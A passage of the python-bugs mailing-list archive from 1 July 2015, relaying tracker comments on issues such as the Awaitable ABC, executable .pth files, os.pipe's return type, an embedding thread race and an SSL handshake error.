From report at bugs.python.org Wed Jul 1 00:08:29 2015 From: report at bugs.python.org (Ben Darnell) Date: Tue, 30 Jun 2015 22:08:29 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435702109.44.0.895063597111.issue24400@psf.upfronthosting.co.za> Ben Darnell added the comment: Yes, I can switch use the ABC instead, and I agree that it doesn't make sense to have the inspect method if it's going to be equivalent to the ABC. I'm happy with the outcome here but AFAIK the original issue still stands: the Awaitable ABC is unusual in that `isinstance(x, Awaitable)` may produce different results than `issubclass(x.__class__, Awaitable)`. I'd like to see more explicit documentation of the facts that A) functools.singledispatch is not always equivalent to isinstance() and B) Awaitable is one case (the only one in the stdlib?) where this distinction occurs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 00:16:18 2015 From: report at bugs.python.org (Min RK) Date: Tue, 30 Jun 2015 22:16:18 +0000 Subject: [issue24534] disable executing code in .pth files In-Reply-To: <1435606239.13.0.0171304559547.issue24534@psf.upfronthosting.co.za> Message-ID: <1435702578.95.0.361075500045.issue24534@psf.upfronthosting.co.za> Min RK added the comment: > Just because a feature can be misused doesn't make it a bad feature. That's fair. I'm just not aware of any uses of this feature that aren't misuses, hence the patch. > Perhaps you could submit a fix for this to the setuptools maintainers instead. Yes, that's definite the right thing to do, and in fact the first thing I did. It looks like that patch is likely to be merged; it is certainly much less disruptive. That's where I started, then I decided to bring it up to Python itself after reading up on the exploited feature, as it seemed to me like a feature with no use other than misuse. Thanks for your time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 00:19:34 2015 From: report at bugs.python.org (Roundup Robot) Date: Tue, 30 Jun 2015 22:19:34 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <20150630221931.736.94221@psf.io> Roundup Robot added the comment: New changeset e20c197f19d6 by Yury Selivanov in branch '3.5': Issue #24400: Remove inspect.isawaitable(). https://hg.python.org/cpython/rev/e20c197f19d6 New changeset 800bf6a0e0d5 by Yury Selivanov in branch 'default': Merge 3.5 (Issue #24400) https://hg.python.org/cpython/rev/800bf6a0e0d5 ---------- _______________________________________ Python tracker _______________________________________ From mal at egenix.com Wed Jul 1 00:30:16 2015 From: mal at egenix.com (M.-A. Lemburg) Date: Wed, 01 Jul 2015 00:30:16 +0200 Subject: [issue24534] disable executing code in .pth files In-Reply-To: <1435702578.95.0.361075500045.issue24534@psf.upfronthosting.co.za> References: <1435702578.95.0.361075500045.issue24534@psf.upfronthosting.co.za> Message-ID: <55931878.2000402@egenix.com> On 01.07.2015 00:16, Min RK wrote: > >> Just because a feature can be misused doesn't make it a bad feature. > > That's fair. I'm just not aware of any uses of this feature that aren't misuses, hence the patch. I don't remember the details of why this feature was added, but can imagine that it was supposed to enable installation of new importers via .pth files. Without this feature it would not be possible to add entries to sys.path via .pth files which can only be handled by non-standard importers. >> Perhaps you could submit a fix for this to the setuptools maintainers instead. > > Yes, that's definite the right thing to do, and in fact the first thing I did. It looks like that patch is likely to be merged; it is certainly much less disruptive. That's where I started, then I decided to bring it up to Python itself after reading up on the exploited feature, as it seemed to me like a feature with no use other than misuse. Thanks, that's certainly a good way forward :-) -- Marc-Andre Lemburg eGenix.com From report at bugs.python.org Wed Jul 1 00:30:19 2015 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Tue, 30 Jun 2015 22:30:19 +0000 Subject: [issue24534] disable executing code in .pth files In-Reply-To: <1435702578.95.0.361075500045.issue24534@psf.upfronthosting.co.za> Message-ID: <55931878.2000402@egenix.com> Marc-Andre Lemburg added the comment: On 01.07.2015 00:16, Min RK wrote: > >> Just because a feature can be misused doesn't make it a bad feature. > > That's fair. I'm just not aware of any uses of this feature that aren't misuses, hence the patch. I don't remember the details of why this feature was added, but can imagine that it was supposed to enable installation of new importers via .pth files. Without this feature it would not be possible to add entries to sys.path via .pth files which can only be handled by non-standard importers. >> Perhaps you could submit a fix for this to the setuptools maintainers instead. > > Yes, that's definite the right thing to do, and in fact the first thing I did. It looks like that patch is likely to be merged; it is certainly much less disruptive. That's where I started, then I decided to bring it up to Python itself after reading up on the exploited feature, as it seemed to me like a feature with no use other than misuse. Thanks, that's certainly a good way forward :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 01:48:12 2015 From: report at bugs.python.org (Nick Levinson) Date: Tue, 30 Jun 2015 23:48:12 +0000 Subject: [issue24535] SELinux reporting writes, executes, and dac_overwrites In-Reply-To: <1435636596.24.0.22907134947.issue24535@psf.upfronthosting.co.za> Message-ID: <1435708092.48.0.283720040123.issue24535@psf.upfronthosting.co.za> Nick Levinson added the comment: Thank you. I didn't know enough to understand the relevance of blueman. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 02:27:56 2015 From: report at bugs.python.org (Kevin Norris) Date: Wed, 01 Jul 2015 00:27:56 +0000 Subject: [issue24132] Direct sub-classing of pathlib.Path In-Reply-To: <1430890013.04.0.304568332905.issue24132@psf.upfronthosting.co.za> Message-ID: <1435710476.88.0.458115928189.issue24132@psf.upfronthosting.co.za> Kevin Norris added the comment: If I were designing pathlib from scratch, I would not have a separate Path class. I would instead do something like this: In pathlib.py: if os.name == 'nt': Path = WindowsPath else: Path = PosixPath Alternatively, Path() could be a factory function that picks one of those classes at runtime. Of course, that still leaves the issue of where to put the method implementations which currently live in Path. We could change the name of Path to _Path and use the code above to continue providing a Path alias, but that might be too confusing. Another possibility is to pull those methods out into top-level functions and then alias them into methods in WindowsPath and PosixPath (perhaps using a decorator-like-thing to pass the flavor, instead of attaching it to the class). The main thing, though, is that Path should not depend on its subclasses. That really strikes me as poor design, since it produces issues like this one. ---------- nosy: +Kevin.Norris _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 03:12:35 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 01 Jul 2015 01:12:35 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435713155.01.0.234680521295.issue24400@psf.upfronthosting.co.za> R. David Murray added the comment: Look like you forgot to adjust test_inspect for the removal. eg: http://buildbot.python.org/all/builders/AMD64%20Windows8.1%20Non-Debug%203.x/builds/54 ---------- nosy: +r.david.murray status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 03:19:07 2015 From: report at bugs.python.org (Roundup Robot) Date: Wed, 01 Jul 2015 01:19:07 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <20150701011903.23363.95565@psf.io> Roundup Robot added the comment: New changeset 0b7c313851ca by Yury Selivanov in branch '3.5': Issue #24400: Fix failing unittest https://hg.python.org/cpython/rev/0b7c313851ca New changeset 8c85291e86bf by Yury Selivanov in branch 'default': Merge 3.5 (Issue #24400) https://hg.python.org/cpython/rev/8c85291e86bf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 03:19:48 2015 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 01 Jul 2015 01:19:48 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435713588.9.0.227676593326.issue24400@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Look like you forgot to adjust test_inspect for the removal. eg: My bad. Thanks, David! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 03:33:36 2015 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 01 Jul 2015 01:33:36 +0000 Subject: [issue24536] os.pipe() should return a structsequence (or namedtuple.) In-Reply-To: <1435648757.18.0.0558265298673.issue24536@psf.upfronthosting.co.za> Message-ID: <1435714416.87.0.52781119686.issue24536@psf.upfronthosting.co.za> Yury Selivanov added the comment: +1 for readfd/writefd. I think 'fd' suffix is necessary to make it explicit that those aren't file objects. ---------- nosy: +yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 03:42:28 2015 From: report at bugs.python.org (Martin Panter) Date: Wed, 01 Jul 2015 01:42:28 +0000 Subject: [issue24541] test_eightteen() in test_inspect out of sync with documentation Message-ID: <1435714948.75.0.931424341037.issue24541@psf.upfronthosting.co.za> New submission from Martin Panter: Revision 0b7c313851ca highlights an inconsistency in the test case at the top of the TestPredicates class. After removing isawaitable() in Issue 24400, there are now actually eighteen is* functions. The comment in the test case still says there are sixteen (from before the two iscoroutine* functions were added), and so does the documentation it references: ?The sixteen functions whose names begin with ?is? ? . The quick fix is to change all the numbers to eighteen. But maybe a better fix is to drop it all and rewrite the documentation to just say ?The functions whose names begin with ?is? are mainly provided . . .?. ---------- assignee: docs at python components: Documentation, Tests messages: 246012 nosy: docs at python, vadmium priority: normal severity: normal status: open title: test_eightteen() in test_inspect out of sync with documentation versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 03:43:25 2015 From: report at bugs.python.org (Martin Panter) Date: Wed, 01 Jul 2015 01:43:25 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435715005.14.0.796216615083.issue24400@psf.upfronthosting.co.za> Martin Panter added the comment: Opened Issue 24541 related to this latest change. The test and documentation are still inconsistent, even if the test passes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 03:45:22 2015 From: report at bugs.python.org (Roundup Robot) Date: Wed, 01 Jul 2015 01:45:22 +0000 Subject: [issue24541] test_eightteen() in test_inspect out of sync with documentation In-Reply-To: <1435714948.75.0.931424341037.issue24541@psf.upfronthosting.co.za> Message-ID: <20150701014519.125839.50256@psf.io> Roundup Robot added the comment: New changeset a5c6eaa7d733 by Yury Selivanov in branch '3.5': Issue #24541: Update comment in test_inspect.test_eightteen https://hg.python.org/cpython/rev/a5c6eaa7d733 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 03:46:20 2015 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 01 Jul 2015 01:46:20 +0000 Subject: [issue24541] test_eightteen() in test_inspect out of sync with documentation In-Reply-To: <1435714948.75.0.931424341037.issue24541@psf.upfronthosting.co.za> Message-ID: <1435715180.44.0.222725479125.issue24541@psf.upfronthosting.co.za> Yury Selivanov added the comment: This has already been fix (see issue24400). I've also updated the comment (16 -> 18). Let's keep the test as is. ---------- nosy: +yselivanov resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 03:55:33 2015 From: report at bugs.python.org (Martin Panter) Date: Wed, 01 Jul 2015 01:55:33 +0000 Subject: [issue24541] test_eightteen() in test_inspect out of sync with documentation In-Reply-To: <1435714948.75.0.931424341037.issue24541@psf.upfronthosting.co.za> Message-ID: <1435715733.19.0.73011182316.issue24541@psf.upfronthosting.co.za> Martin Panter added the comment: Okay but what about the documentation? It still claims sixteen. # This test is here for remember you to update Doc/library/inspect.rst ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 04:03:53 2015 From: report at bugs.python.org (Martin Panter) Date: Wed, 01 Jul 2015 02:03:53 +0000 Subject: =?utf-8?q?=5Bissue24487=5D_Change_asyncio=2Easync=28=29_=E2=86=92_ensure?= =?utf-8?b?X2Z1dHVyZSgp?= In-Reply-To: <1434983069.7.0.469854953168.issue24487@psf.upfronthosting.co.za> Message-ID: <1435716233.14.0.287879088053.issue24487@psf.upfronthosting.co.za> Martin Panter added the comment: Reopening. The patch still applies to the current code (e.g. revision df310e5ac015, 30 June). It changes eight references of ?async()? that still exist in this revision. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 04:07:04 2015 From: report at bugs.python.org (Roundup Robot) Date: Wed, 01 Jul 2015 02:07:04 +0000 Subject: [issue24541] test_eightteen() in test_inspect out of sync with documentation In-Reply-To: <1435714948.75.0.931424341037.issue24541@psf.upfronthosting.co.za> Message-ID: <20150701020700.86858.66468@psf.io> Roundup Robot added the comment: New changeset bd45435fd081 by Yury Selivanov in branch '3.5': Issue #24541: Drop test_inspect.test_eightteen unittest; update docs https://hg.python.org/cpython/rev/bd45435fd081 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 04:08:56 2015 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 01 Jul 2015 02:08:56 +0000 Subject: [issue24541] test_eightteen() in test_inspect out of sync with documentation In-Reply-To: <1435714948.75.0.931424341037.issue24541@psf.upfronthosting.co.za> Message-ID: <1435716536.47.0.853449359977.issue24541@psf.upfronthosting.co.za> Yury Selivanov added the comment: Thanks for pushing this Martin. I didn't notice that you suggested to update inspect.rst as well. And it does make sense to just remove the number of is* functions from the docs (and after that we don't need the unittest). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 04:14:15 2015 From: report at bugs.python.org (Roundup Robot) Date: Wed, 01 Jul 2015 02:14:15 +0000 Subject: =?utf-8?q?=5Bissue24487=5D_Change_asyncio=2Easync=28=29_=E2=86=92_ensure?= =?utf-8?b?X2Z1dHVyZSgp?= In-Reply-To: <1434983069.7.0.469854953168.issue24487@psf.upfronthosting.co.za> Message-ID: <20150701021412.24160.99106@psf.io> Roundup Robot added the comment: New changeset 1b3be273e327 by Yury Selivanov in branch '3.5': Issue #24487: Rename async() -> ensure_future() in asyncio docs. https://hg.python.org/cpython/rev/1b3be273e327 New changeset 3dc2a113e8a7 by Yury Selivanov in branch 'default': Merge 3.5 (Issue #24487) https://hg.python.org/cpython/rev/3dc2a113e8a7 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 04:14:53 2015 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 01 Jul 2015 02:14:53 +0000 Subject: =?utf-8?q?=5Bissue24487=5D_Change_asyncio=2Easync=28=29_=E2=86=92_ensure?= =?utf-8?b?X2Z1dHVyZSgp?= In-Reply-To: <1434983069.7.0.469854953168.issue24487@psf.upfronthosting.co.za> Message-ID: <1435716893.31.0.7415119471.issue24487@psf.upfronthosting.co.za> Yury Selivanov added the comment: Thanks, Martin! ---------- resolution: out of date -> fixed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 04:29:38 2015 From: report at bugs.python.org (Samuel Hoffman) Date: Wed, 01 Jul 2015 02:29:38 +0000 Subject: [issue24542] ssl - SSL_OP_NO_TICKET not reimplemented Message-ID: <1435717778.85.0.15364958143.issue24542@psf.upfronthosting.co.za> New submission from Samuel Hoffman: Realizing the _ssl module does not import very many constants, I think it might be worth while to reimplement and document SSL_OP_NO_TICKET (0x00004000) as it's another one of the "enable this for improved security at a cost" options like SSL_OP_SINGLE_DH_USE and SSL_OP_SINGLE_ECDH_USE. This appears to effect Python 2.7+. ---------- components: Extension Modules, Library (Lib) messages: 246022 nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen, miniCruzer, pitrou priority: normal severity: normal status: open title: ssl - SSL_OP_NO_TICKET not reimplemented type: enhancement versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 04:38:24 2015 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 01 Jul 2015 02:38:24 +0000 Subject: =?utf-8?q?=5Bissue24487=5D_Change_asyncio=2Easync=28=29_=E2=86=92_ensure?= =?utf-8?b?X2Z1dHVyZSgp?= In-Reply-To: <1434983069.7.0.469854953168.issue24487@psf.upfronthosting.co.za> Message-ID: <1435718304.52.0.353562472659.issue24487@psf.upfronthosting.co.za> Changes by Yury Selivanov : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 05:16:11 2015 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 01 Jul 2015 03:16:11 +0000 Subject: [issue24536] os.pipe() should return a structsequence (or namedtuple.) In-Reply-To: <1435648757.18.0.0558265298673.issue24536@psf.upfronthosting.co.za> Message-ID: <1435720571.81.0.668951589012.issue24536@psf.upfronthosting.co.za> Yury Selivanov added the comment: Here's a patch, please review. ---------- keywords: +patch stage: -> patch review Added file: http://bugs.python.org/file39839/ospipe.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 05:29:28 2015 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 01 Jul 2015 03:29:28 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435721368.25.0.381281858302.issue24400@psf.upfronthosting.co.za> Changes by Yury Selivanov : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 05:58:39 2015 From: report at bugs.python.org (Martin Panter) Date: Wed, 01 Jul 2015 03:58:39 +0000 Subject: [issue23883] __all__ lists are incomplete In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za> Message-ID: <1435723119.92.0.489998483982.issue23883@psf.upfronthosting.co.za> Martin Panter added the comment: The technical bit of Issue23883_support_check__all__.v3.patch looks pretty good. Mainly some grammar suggestions for the documentation. Issue23883_test_gettext.v2.patch looks fine; just depends on check__all__() being added. Couple of comments about the APIs for ftplib and threading. The changes for the other modules all look good though. Regarding name_of_module, no strong opinion, but maybe keep it as it is for simplicity. You only used it once so far I think anyway. ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 08:35:20 2015 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Jul 2015 06:35:20 +0000 Subject: [issue23630] support multiple hosts in create_server/start_server In-Reply-To: <1426011521.84.0.690218000796.issue23630@psf.upfronthosting.co.za> Message-ID: <1435732520.93.0.0585842824669.issue23630@psf.upfronthosting.co.za> STINNER Victor added the comment: I reviewed multibind.patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 08:56:20 2015 From: report at bugs.python.org (Ethan Furman) Date: Wed, 01 Jul 2015 06:56:20 +0000 Subject: [issue24536] os.pipe() should return a structsequence (or namedtuple.) In-Reply-To: <1435648757.18.0.0558265298673.issue24536@psf.upfronthosting.co.za> Message-ID: <1435733779.99.0.752055020285.issue24536@psf.upfronthosting.co.za> Ethan Furman added the comment: Nowhere else in the stdlib is 'readfd' defined, and 'writefd' is only used once in a test. I think tacking on the 'fd' is both too low level as well as misleading since these are not file descriptors. If there is no agreement on read/write (understandable since those are usually methods), then perhaps input/output? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 08:57:39 2015 From: report at bugs.python.org (Ethan Furman) Date: Wed, 01 Jul 2015 06:57:39 +0000 Subject: [issue24536] os.pipe() should return a structsequence (or namedtuple.) In-Reply-To: <1435648757.18.0.0558265298673.issue24536@psf.upfronthosting.co.za> Message-ID: <1435733859.57.0.31003126961.issue24536@psf.upfronthosting.co.za> Ethan Furman added the comment: Okay, scratch the "not file descriptors" part of my comment, but the rest still stands. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 09:18:10 2015 From: report at bugs.python.org (Ethan Furman) Date: Wed, 01 Jul 2015 07:18:10 +0000 Subject: [issue24536] os.pipe() should return a structsequence (or namedtuple.) In-Reply-To: <1435648757.18.0.0558265298673.issue24536@psf.upfronthosting.co.za> Message-ID: <1435735090.85.0.0357187701852.issue24536@psf.upfronthosting.co.za> Ethan Furman added the comment: As for Niki's example: --------------------- --> src = os.pipe() --> src (3, 4) --> if not hasattr(src, 'read'): src = open(src) ... Traceback (most recent call last): File "", line 1, in TypeError: invalid file: (3, 4) ------------------------------------------------ This fails now. If they pass a pipe tuple into the new code they'll just get a different error somewhere else, which seems fine to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 09:25:40 2015 From: report at bugs.python.org (Ethan Furman) Date: Wed, 01 Jul 2015 07:25:40 +0000 Subject: [issue24195] Add `Executor.filter` to concurrent.futures In-Reply-To: <1431638802.0.0.167827013304.issue24195@psf.upfronthosting.co.za> Message-ID: <1435735540.69.0.146169499453.issue24195@psf.upfronthosting.co.za> Ethan Furman added the comment: Brian, given my comments in msg245016 are you willing to add the Executor.filter() function? ---------- versions: +Python 3.6 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 10:34:38 2015 From: report at bugs.python.org (Ivan Levkivskyi) Date: Wed, 01 Jul 2015 08:34:38 +0000 Subject: [issue24528] Misleading exeption for await in comprehensions. In-Reply-To: <1435577323.48.0.769775989737.issue24528@psf.upfronthosting.co.za> Message-ID: <1435739678.37.0.043177589866.issue24528@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Yury, thank you for the patch, the error message is much clearer now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 10:41:04 2015 From: report at bugs.python.org (Ivan Levkivskyi) Date: Wed, 01 Jul 2015 08:41:04 +0000 Subject: [issue24129] Incorrect (misleading) statement in the execution model documentation In-Reply-To: <1430859119.42.0.185221847455.issue24129@psf.upfronthosting.co.za> Message-ID: <1435740064.77.0.658125136222.issue24129@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: What holds the patch now? Should I do something or just wait? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 12:28:42 2015 From: report at bugs.python.org (Henrik Heimbuerger) Date: Wed, 01 Jul 2015 10:28:42 +0000 Subject: [issue24127] Fatal error in launcher: Job information querying failed In-Reply-To: <1430827026.9.0.339920575451.issue24127@psf.upfronthosting.co.za> Message-ID: <1435746522.4.0.101313281724.issue24127@psf.upfronthosting.co.za> Henrik Heimbuerger added the comment: Happy to report that in build 10159 of Windows 10 64-bit, this just started to work again. No reinstallation of pip needed! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 12:38:09 2015 From: report at bugs.python.org (Charles Nodell) Date: Wed, 01 Jul 2015 10:38:09 +0000 Subject: [issue24533] Increased Test Coverage for Lib/random.py In-Reply-To: <1435602887.43.0.963223854079.issue24533@psf.upfronthosting.co.za> Message-ID: <1435747089.36.0.683744302099.issue24533@psf.upfronthosting.co.za> Charles Nodell added the comment: Sounds fine! I look forward to seeing how to do this properly! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 12:41:15 2015 From: report at bugs.python.org (marxin) Date: Wed, 01 Jul 2015 10:41:15 +0000 Subject: [issue24543] Configure script wrongly detects mc68881 with -flto option passed Message-ID: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> New submission from marxin: I've just tried to build Python with {C,CXX,LD}FLAGS set to '-flto'. Unfortunately following conftest source file is fragile: cat /tmp/mc.c int main () { unsigned int fpcr; __asm__ __volatile__ ("fmove.l %%fpcr,%0" : "=g" (fpcr)); __asm__ __volatile__ ("fmove.l %0,%%fpcr" : : "g" (fpcr)); ; return 0; } gcc --version: gcc (GCC) 5.1.1 20150424 (prerelease) gcc -c /tmp/mc.c /tmp/mc.c: Assembler messages: /tmp/mc.c:6: Error: no such instruction: `fmove.l %fpcr,%eax' /tmp/mc.c:7: Error: no such instruction: `fmove.l -4(%rbp),%fpcr' gcc -flto -c /tmp/mc.c As GCC does not produce assembly with -flto and -c (unless you append -ffat-lto-objects), the compilation success. Can you please write more robust configuration. Thanks, Martin ---------- messages: 246034 nosy: mliska at suse.cz priority: normal severity: normal status: open title: Configure script wrongly detects mc68881 with -flto option passed versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 12:48:43 2015 From: report at bugs.python.org (Stefan Krah) Date: Wed, 01 Jul 2015 10:48:43 +0000 Subject: [issue24543] Configure script wrongly detects mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435747723.54.0.554698703694.issue24543@psf.upfronthosting.co.za> Changes by Stefan Krah : ---------- nosy: +schwab _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 15:03:03 2015 From: report at bugs.python.org (Zachary Ware) Date: Wed, 01 Jul 2015 13:03:03 +0000 Subject: [issue24127] Fatal error in launcher: Job information querying failed In-Reply-To: <1430827026.9.0.339920575451.issue24127@psf.upfronthosting.co.za> Message-ID: <1435755783.79.0.920972961201.issue24127@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 15:05:29 2015 From: report at bugs.python.org (Oleksiy Markovets) Date: Wed, 01 Jul 2015 13:05:29 +0000 Subject: [issue24544] Race condition and crash when embedding multi-thread script Message-ID: <1435755929.77.0.966691943035.issue24544@psf.upfronthosting.co.za> New submission from Oleksiy Markovets: INTRODUCTION While embedding python script in c++ application I faced random crashes with error: Fatal Python error: Py_EndInterpreter: not the last thread Aborted Even though I explicitly join each thread created with *threading* module. Please see attachment, this is simplest python script + c++ code which demonstrates problem. By using threading.setprofiler I was able to make problem appear each run. If you uncomment time.sleep(1) problem won't reproduce. Note: In main.cpp I manually create separate interpreter because in real-life application is multi-threaded and different thread uses different interpreters for at least some sand-boxing. INVESTIGATION I did some investigation, and here is what I found out: * Each new thread is started by calling *thread_PyThread_start_new_thread* from threadmodule.c. Basically this function creates new thread which executes *t_bootstrap* and adds this thread to interpreter's thread list. * *t_bootstrap* executes python function *Thread.__bootstrap* and when it's done, removes thread from interpreter's thread list. * *Thread.__bootstrap* runs *Thread.run()* (actually python code which should be executed in separate thread) and when it's done calls *Thread.__stop* (which by mean of condition variable sets Boolean flag Thread.__stopped) * *Thread.join* doesn't wait thread to exit, it only waits for *Thread.__stopped* flag to be set. So here is race condition: When main thread finished *Thread.join* it's only guaranteed that *Thread.run* is finished, but *t_bootstrap* still may be running (interpreter's thread list is not cleared). POSSIBLE SOLUTION To call Thread.__stop from *t_bootstrap* (instead of Thread.__bootstrap) after removing thread from interpreter's thread list. Or do not use detached threads and call something like *pthread_join* in *Thread.join*. Which is IMHO much clearer approach but also requires much more efforts. ---------- components: Extension Modules files: main.cpp messages: 246035 nosy: Oleksiy Markovets priority: normal severity: normal status: open title: Race condition and crash when embedding multi-thread script type: crash versions: Python 2.7 Added file: http://bugs.python.org/file39840/main.cpp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 15:06:00 2015 From: report at bugs.python.org (Oleksiy Markovets) Date: Wed, 01 Jul 2015 13:06:00 +0000 Subject: [issue24544] Race condition and crash when embedding multi-thread script In-Reply-To: <1435755929.77.0.966691943035.issue24544@psf.upfronthosting.co.za> Message-ID: <1435755960.87.0.624181909182.issue24544@psf.upfronthosting.co.za> Oleksiy Markovets added the comment: attached file ---------- Added file: http://bugs.python.org/file39841/main.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 15:40:52 2015 From: report at bugs.python.org (Kayne) Date: Wed, 01 Jul 2015 13:40:52 +0000 Subject: [issue24545] Issue with ssl package Message-ID: <1435758052.81.0.552827758193.issue24545@psf.upfronthosting.co.za> New submission from Kayne: I tried to use cert = ssl.get_server_certificate((XXXX, 443)) and it crashed with following error: Traceback (most recent call last): File "PeerCertChainQuery.py", line 107, in cert = ssl.get_server_certificate((options.host, 443)) File "/opt/lib/python2.7/ssl.py", line 965, in get_server_certificate with closing(context.wrap_socket(sock)) as sslsock: File "/opt/lib/python2.7/ssl.py", line 350, in wrap_socket _context=self) File "/opt/lib/python2.7/ssl.py", line 566, in __init__ self.do_handshake() File "/opt/lib/python2.7/ssl.py", line 788, in do_handshake self._sslobj.do_handshake() ssl.SSLError: [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:581) Note that the configuration of apache server on the host XXXX has disabled ssl3 support and it only supports TLSV1, TLVS1.1, AND TLSV1.3. This also happened on Python 3.4.3. Much appreciated if you could have a look at what happened or suggest me how to get around this. ---------- components: Library (Lib) messages: 246037 nosy: kxl561 priority: normal severity: normal status: open title: Issue with ssl package type: crash versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 15:56:01 2015 From: report at bugs.python.org (Christian Heimes) Date: Wed, 01 Jul 2015 13:56:01 +0000 Subject: [issue24545] Issue with ssl package In-Reply-To: <1435758052.81.0.552827758193.issue24545@psf.upfronthosting.co.za> Message-ID: <1435758961.7.0.804197804188.issue24545@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- nosy: +alex, christian.heimes, dstufft, giampaolo.rodola, janssen, pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 17:42:32 2015 From: report at bugs.python.org (Stefan Krah) Date: Wed, 01 Jul 2015 15:42:32 +0000 Subject: [issue24545] Issue with ssl package In-Reply-To: <1435758052.81.0.552827758193.issue24545@psf.upfronthosting.co.za> Message-ID: <1435765352.09.0.494469784325.issue24545@psf.upfronthosting.co.za> Changes by Stefan Krah : ---------- type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 18:06:30 2015 From: report at bugs.python.org (Serge Anuchin) Date: Wed, 01 Jul 2015 16:06:30 +0000 Subject: [issue24546] sequence index bug in random.choice Message-ID: 